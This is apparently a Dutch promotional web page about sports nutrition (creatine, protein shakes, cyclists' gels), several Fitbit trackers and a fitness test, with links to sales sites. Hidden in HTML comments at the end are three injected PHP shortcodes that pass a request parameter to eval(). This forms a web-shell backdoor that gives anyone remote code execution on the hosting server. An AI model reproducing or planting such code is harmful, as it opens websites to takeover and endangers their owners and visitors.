Wat je moet weten over gezonde voeding en sport

Wanneer je veel sport is het belangrijk om voldoende te eten. Voldoende eten alleen is niet belangrijk. Dat weet de beste sporter, want het is vooral belangrijk om de juiste voeding binnen te krijgen. Het ligt er ook aan welke sport je doet. Wanneer je veel aan krachttraining doet en je als doel hebt gesteld om extra spieren te krijgen, dan red je het niet met alleen een boterham met kaas. Je zult dan kritisch moeten kijken naar je voedingspatroon. Men raadt doorgaans aan om dan extra eiwitten te nemen. Door extra eiwitten te nemen kunnen je spieren sneller herstellen en groeien na een zware inspanning. Je ziet daarom ook veel mensen na een training in een sportschool rondlopen met shakes. Dit zijn zogenaamde proteïne shakes. Je kunt ook een stapje verder gaan en kijken naar creatine.

Creatine supplementen

Creatine kopen kan op diverse webshops die allerlei sportvoeding kopen. Daarnaast heb je ook eiwitshakes. Deze genoemde producten zijn producten die goed zijn om te gebruiken wanneer je je prestaties op het gebied van sport wilt verbeteren en lichaam op het vlak van spieren sneller wilt laten groeien. Verwacht echter geen wonderen van creatine alleen. Het is een schakel in een ketting. Zonder creatine kun je uiteraard ook nog spiermassa winnen, maar waar het om gaat is dat je ook voldoende rust neemt en er voor zorgt dat je hard genoeg traint. Zonder een goede training en rust zul je geen spiermassa winnen. Integendeel, je zult alleen maar dik worden.

Creatine
Wanneer je dus gaat sporten is het belangrijk om gezond te eten, maar het is slecht een klein onderdeel. Vraag een expert eventueel naar de mogelijkheden. Sportvoeding kopen moet je als het even kan ook zo zorgvuldig mogelijk doen. Stel een dieet samen en kijk welke voedingsproducten binnen dit dieet passen. Je dieet moet ook zo zijn opgebouwd dat je voldoende stoffen binnenkrijgt die belangrijk zijn om zo je doelen te behalen.

Sportvoeding supplementenNaast creatine heb je natuurlijk nog tal van andere sportvoedingen. Wielrenners hebben bijvoorbeeld totaal andere sportvoeding nodig dan mensen die aan krachttraining doen. Dit is een belangrijk gegeven, want een wielrenner zal op een racefiets voor behoefte hebben aan een gel voor snelle energie. Een gelletje is iets wat vol zit met suikers. Daar zal een bodybuilder of iemand die aan krachttraining niet veel aan hebben. Diegene heeft vooral eiwitten nodig en andere gerelateerde stoffen die er voor zorgen dat zijn trainingen beter gaan en dat hij beter kan presteren. Kijk dus ook goed waar een bepaald voedingsproduct voor is bedoeld voordat je deze gaat aanschaffen.

Verschillende trackers van Fitbit

Fitbit is een bedrijf dat verschillende track apparaten verkoopt, een bekend van Fitbit is de Flex, dit is een tracker die wordt gedragen in de vorm van een armband. Ook heeft Fitbit nog andere trackers zoals de Zip en de One, deze worden bijvoorbeeld in je broekzak of aan je riem vastgemaakt. Fitbit heeft ook een weegschaal die verschillende dingen bijhoudt, dit is de Fitbit Aria.

We beginnen met de laatst genoemde, de Fitbit Aria. Dit is een product dat anders is dan de andere producten van Fitbit. De Aria is geen stappenteller, maar houdt wel heel veel andere informatie bij. Het is namelijk een weegschaal, maar niet zo’n normale die alleen maar je gewicht laat zien. De Aria doet meer dan dat, het heeft meerdere functies dan alleen maar het gewicht laten zien. Ten eerste houdt die alles bij, zo kan je dus je gewicht bij houden en dit wordt allemaal automatisch geregistreerd op je Fitbit account. Maar het houdt niet alleen het gewicht bij, de Aria laat ook je lichaamsvetpercentage en je BMI zien. Dit is erg handig voor sporters of mensen die aan het afvallen zijn. De weegschaal heeft plaats voor 8 verschillende personen en kan dus door de hele familie worden gebruikt.  En dit is allemaal te bekijken via je smartphone met de Fitbit applicatie.

Het tweede product is de Fitbit One, dit is ook een stappenteller net zoals de Flex en de Zip. De One houdt ook de totale afstand bij die wordt afgelegd en ook wordt het aantal trappen dat beklommen worden bijgehouden. De One houdt ook je slaap bij en registreert dit net als de andere Fitbit producten op je persoonlijke Fitbit account. De werking hiervan wordt ook uitgelegd op www.fitbitflexkopen.nl

Het derde product is de Fitbit Zip, dit is ook een stappenteller. Dit is geen armband zoals de Flex maar deze hang je aan je broekzak of riem. Het houdt ook de afstand bij die op een dag wordt afgelegd en het aantal calorieën dat op een dag worden verband door het lopen wordt ook bijgehouden.

Zie hier ook de werking van de Fitbit Zip, door middel van een leuke review:

De Fitbit Flex is het laatste product van Fitbit dat besproken wordt, dit is een stappenteller in de vorm van een armband, erg mooi natuurlijk. De Flex doet meer dan alleen stappen tellen.  Zo kan je zelf doelen instellen via je persoonlijke Fitbit account, de armband geeft dan aan hoe ver je bent in het bereiken van deze doelen. Ook kan de Flex worden gebruikt als wekker, door middel van de stille trilfunctie die erop zit ben jij de enige die ervan wakker wordt, en dus niet je partner!

Barcatest

De barcatest is een speciale test voor de fitness en sport industrie. Sporters kunnen hier vele informatie uit halen zodat zij betere resultaten vervolgens kunnen behalen. Na aanleiding van deze resultaten kunnen zij een planning maken om beter en efficiënter te sporten, wat natuurlijk belangrijk is voor atleten. Zo kan na de test een schema worden opgesteld om hiermee aan de gang te gaan.

Het is niet een bekende en populaire test in Nederland. Er wordt dan ook niet veel gebruik gemaakt vergeleken andere diverse testen die al jaren bestaan. Wij zullen dan binnenkort ook meer vertellen over deze speciale test en hier verder op gaan.

Test

Meer weten over de test? Houd dan goed de website van Medicofitness.nl in de gaten.

<!– [insert_php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/insert_php][php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/insert_php][php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/insert_php][php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/php] –>